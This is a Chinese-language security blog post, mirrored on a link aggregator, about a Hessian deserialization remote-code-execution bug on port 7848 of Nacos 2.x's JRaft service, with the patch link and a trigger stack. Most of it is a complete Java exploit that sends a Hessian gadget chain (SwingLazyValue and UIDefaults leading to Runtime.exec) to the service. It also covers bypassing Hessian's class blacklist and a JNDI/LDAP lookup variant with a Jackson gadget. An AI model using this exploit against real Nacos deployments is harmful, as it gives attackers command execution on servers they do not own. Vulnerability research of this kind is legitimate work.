4

Nacos Hessian 反序列化 RCE

 1 year ago
source link: https://y4er.com/posts/nacos-hessian-rce/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Nacos Hessian 反序列化 RCE

 2023-06-08  2023-06-08  约 1564 字   预计阅读 4 分钟 

由于7848端口采用hessian协议传输数据,反序列化未设置白名单导致存在RCE漏洞。

Nacos 1.x在单机模式下默认不开放7848端口,故该情况通常不受此漏洞影响,但是集群模式受影响。然而,2.x版本无论单机或集群模式均默认开放7848端口。

主要受影响的是7848端口的Jraft服务。

以nacos2.2.2为例,单机模式下启动

https://y4er.com/img/uploads/nacos-hessian-rce/1.png

本地监听7848端口

https://y4er.com/img/uploads/nacos-hessian-rce/2.png

补丁 https://github.com/alibaba/nacos/pull/10542/files

能看出来是hessian的锅,看一下在哪用的hessian

com.alibaba.nacos.consistency.SerializeFactory#getDefault 序列化工厂类

https://y4er.com/img/uploads/nacos-hessian-rce/3.png

默认用的就是hessian,没啥可分析的。

重点在怎么构造请求包和gadget,根据《JRaft 用户指南》 可知以下代码

package org.example;

import com.alibaba.nacos.consistency.entity.WriteRequest;
import com.alipay.sofa.jraft.RouteTable;
import com.alipay.sofa.jraft.conf.Configuration;
import com.alipay.sofa.jraft.entity.PeerId;
import com.alipay.sofa.jraft.option.CliOptions;
import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;
import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.google.protobuf.ByteString;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.concurrent.ConcurrentHashMap;


public class Main {

    public static void send(String addr, byte[] payload) throws Exception {
        Configuration conf = new Configuration();
        conf.parse(addr);
        RouteTable.getInstance().updateConfiguration("nacos", conf);
        CliClientServiceImpl cliClientService = new CliClientServiceImpl();
        cliClientService.init(new CliOptions());
        RouteTable.getInstance().refreshLeader(cliClientService, "nacos", 1000).isOk();
        PeerId leader = PeerId.parsePeer(addr);
        Field parserClasses = cliClientService.getRpcClient().getClass().getDeclaredField("parserClasses");
        parserClasses.setAccessible(true);
        ConcurrentHashMap map = (ConcurrentHashMap) parserClasses.get(cliClientService.getRpcClient());
        map.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());
        MarshallerHelper.registerRespInstance(WriteRequest.class.getName(), WriteRequest.getDefaultInstance());
        final WriteRequest writeRequest = WriteRequest.newBuilder().setGroup("naming_persistent_service_v2").setData(ByteString.copyFrom(payload)).build();
        Object o = cliClientService.getRpcClient().invokeSync(leader.getEndpoint(), writeRequest, 5000);
    }

    private static byte[] build(String cmd) throws Exception {
        String[] command = {"cmd", "/c", cmd};
        Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
        Method exec = Runtime.class.getMethod("exec", String[].class);
        SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{command}}});
//        Object value = swingLazyValue.createValue(new UIDefaults());

//        Method getClassFactoryMethod = SerializerFactory.class.getDeclaredMethod("getClassFactory");
//        SwingLazyValue swingLazyValue1 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{getClassFactoryMethod, SerializerFactory.createDefault(), new Object[]{}}});
//        Object value = swingLazyValue1.createValue(new UIDefaults());
//
//        Method allowMethod = ClassFactory.class.getDeclaredMethod("allow", String.class);
//        SwingLazyValue swingLazyValue2 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{allowMethod, value, new Object[]{"*"}}});
//        Object value1 = swingLazyValue2.createValue(new UIDefaults());
//        System.out.println(value1);

        UIDefaults u1 = new UIDefaults();
        UIDefaults u2 = new UIDefaults();
        u1.put("key", swingLazyValue);
        u2.put("key", swingLazyValue);
        HashMap hashMap = new HashMap();
        Class node = Class.forName("java.util.HashMap$Node");
        Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
        constructor.setAccessible(true);
        Object node1 = constructor.newInstance(0, u1, null, null);
        Object node2 = constructor.newInstance(0, u2, null, null);
        Field key = node.getDeclaredField("key");
        key.setAccessible(true);
        key.set(node1, u1);
        key.set(node2, u2);
        Field size = HashMap.class.getDeclaredField("size");
        size.setAccessible(true);
        size.set(hashMap, 2);
        Field table = HashMap.class.getDeclaredField("table");
        table.setAccessible(true);
        Object arr = Array.newInstance(node, 2);
        Array.set(arr, 0, node1);
        Array.set(arr, 1, node2);
        table.set(hashMap, arr);


        HashMap hashMap1 = new HashMap();
        size.set(hashMap1, 2);
        table.set(hashMap1, arr);


        HashMap map = new HashMap();
        map.put(hashMap, hashMap);
        map.put(hashMap1, hashMap1);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(baos);
        output.getSerializerFactory().setAllowNonSerializable(true);
        output.writeObject(map);
        output.flushBuffer();

        Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream(baos.toByteArray()));
        SerializerFactory.createDefault().getClassFactory().allow("*");
        hessian2Input.readObject();

        return baos.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        byte[] bytes = build("calc");
        send("localhost:7848", bytes);
    }
}

com.alibaba.nacos.core.distributed.raft.NacosStateMachine#onApply中判断类型是否是WriteRequest,所以需要处理一下WriteRequest类型,也就是反射的那几行。

https://y4er.com/img/uploads/nacos-hessian-rce/4.png

触发堆栈如下

deseiralize0:61, HessianSerializer (com.alibaba.nacos.consistency.serialize)
deserialize:47, HessianSerializer (com.alibaba.nacos.consistency.serialize)
onApply:188, PersistentClientOperationServiceImpl (com.alibaba.nacos.naming.core.v2.service.impl)
onApply:122, NacosStateMachine (com.alibaba.nacos.core.distributed.raft)
doApplyTasks:589, FSMCallerImpl (com.alipay.sofa.jraft.core)
doCommitted:553, FSMCallerImpl (com.alipay.sofa.jraft.core)
runApplyTask:459, FSMCallerImpl (com.alipay.sofa.jraft.core)
access$100:73, FSMCallerImpl (com.alipay.sofa.jraft.core)
onEvent:150, FSMCallerImpl$ApplyTaskHandler (com.alipay.sofa.jraft.core)
onEvent:142, FSMCallerImpl$ApplyTaskHandler (com.alipay.sofa.jraft.core)
run:137, BatchEventProcessor (com.lmax.disruptor)
run:750, Thread (java.lang)

gadget构造

gadget的前半部分用hashmap来触发UIDefaults.get()就行,主要利用点在后半部分。之前打ctf的时候看到过一些方式

https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2022/hessian-onlyJdk/writeup

hessian有一些原生jdk的链,不过我复现的2.2.2版本中用的hessian-4.0.63.jar,这个版本有内置的黑名单

黑名单在 com.caucho.hessian.io.ClassFactory#isAllow(java.lang.String)

https://y4er.com/img/uploads/nacos-hessian-rce/5.png

所以MethodUtils+Runtime不能用了,System.setProperty + InitalContext.doLookup也g了,不过可以用com.sun.org.apache.bcel.internal.util.JavaWrapper,直接加载bcel字节码rce,不过bcel classloader在8u251没了,所以仍然想找一个通用点的方式。

然后想像cc链那样链式执行加一个白名单进去,但是SwingLazyValue不能像transform那样链式,所以这个想法也g了。

于是和@X1r0z讨论了一下,nacos是springboot,内置了jackson,可以用jndi lookup配合jackson POJONode的gadget打rce

SwingLazyValue swingLazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new String[]{"ldap://127.0.0.1:1389/xx"});

UIDefaults u1 = new UIDefaults();
UIDefaults u2 = new UIDefaults();
u1.put("aaa", swingLazyValue);
u2.put("aaa", swingLazyValue);

Map map = HashColl.makeMap(u1, u2);

jdni自己写一个ldap server,返回jackson的gadget就行了,见这个Jackson.java

这个洞只能打一次,第二次就打不了了,所以一定要谨慎使用。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK